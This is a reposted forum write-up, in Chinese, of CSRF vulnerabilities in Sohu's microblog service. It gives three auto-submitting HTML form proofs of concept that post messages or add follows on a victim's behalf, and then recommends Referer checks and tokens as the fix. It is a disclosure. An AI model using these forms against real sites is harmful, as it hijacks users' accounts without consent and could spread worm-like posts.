人行道 發表於 2012-6-27 14:27:51

搜狐微博的几处CSRF漏洞分析与解决方法

<p>搜狐某处CSRF漏洞,可能导致蠕虫蔓延,在未经用户同意的情况下发布微博<br />详细说明:<br />在接受POST和GET的信息的时候,未对POST来路(Referer)进行验证,同时也没有在POST的信息中加token验证信息的正确性,导致漏洞产生。<br /><br />漏洞地址:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode13"><br />http://t.sohu.com/t/twAction.jsp<br />&lt;html&gt; www.jb51.net<br />&lt;body&gt;<br />&lt;form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post"&gt;<br />&lt;input type="text" name="msg" value="XX" /&gt;<br />&lt;input type="text" name="act" value="insertTwitter" /&gt;<br />&lt;input type="text" name="groupid" value="0" /&gt;<br />&lt;input type="submit" value="submit" /&gt;<br />&lt;/form&gt;<br />&lt;script&gt;<br />       document.imlonghao.submit();<br />&lt;/script&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /> </div><br />&nbsp;接口返回信息<br />&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062714281010.jpg" /><br />&nbsp;<br />效果<br /><br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062714281011.jpg" /><br />第二个<br />&nbsp;<br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode14"><br />http://t.sohu.com/t/twAction.jsp<br />&lt;html&gt;<br />&lt;body&gt;<br />&lt;form id="imlonghao" name="imlonghao" action="http://t.sohu.com/t/twAction.jsp" method="post"&gt;<br />&lt;input type="text" name="msg" value="XX" /&gt;<br />&lt;input type="text" name="act" value="insertTwitter" /&gt;<br />&lt;input type="text" name="groupid" value="0" /&gt;<br />&lt;input type="submit" value="submit" /&gt;<br />&lt;/form&gt;<br />&lt;script&gt;<br />       document.imlonghao.submit();<br />&lt;/script&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /></div><br />&nbsp;返回信息<br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062714281012.jpg" /><br />效果<br /><img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062714281013.jpg" /><br /><strong>第三个:</strong><br />漏洞地址:<br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode15"><br />http://t.sohu.com/follow/addfollows<br />&lt;html&gt; www.jb51.net<br />&lt;body&gt;<br />&lt;form id="imlonghao" name="imlonghao" action="http://t.sohu.com/follow/addfollows" method="post"&gt;<br />&lt;input type="text" name="act" value="follow" /&gt;<br />&lt;input type="text" name="friendids" value="23117291" /&gt;<br />&lt;input type="text" name="uid" value="23117291" /&gt;<br />&lt;input type="submit" value="submit" /&gt;<br />&lt;/form&gt;<br />&lt;script&gt;<br />       document.imlonghao.submit();<br />&lt;/script&gt;<br />&lt;/body&gt;<br />&lt;/html&gt;<br /></div><br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062714281014.jpg" />&nbsp;<br />接口返回信息&nbsp;<br />&nbsp;<img alt="" src="https://img.jbzj.com/file_images/article/201206/2012062714281015.jpg" /><br />效果&nbsp;<br /><strong>修复方案:</strong><br />检查POST来路Referer<br />在POST的信息中加token<br /><br />作者:imlonghao </p>
頁: [1]
查看完整版本: 搜狐微博的几处CSRF漏洞分析与解决方法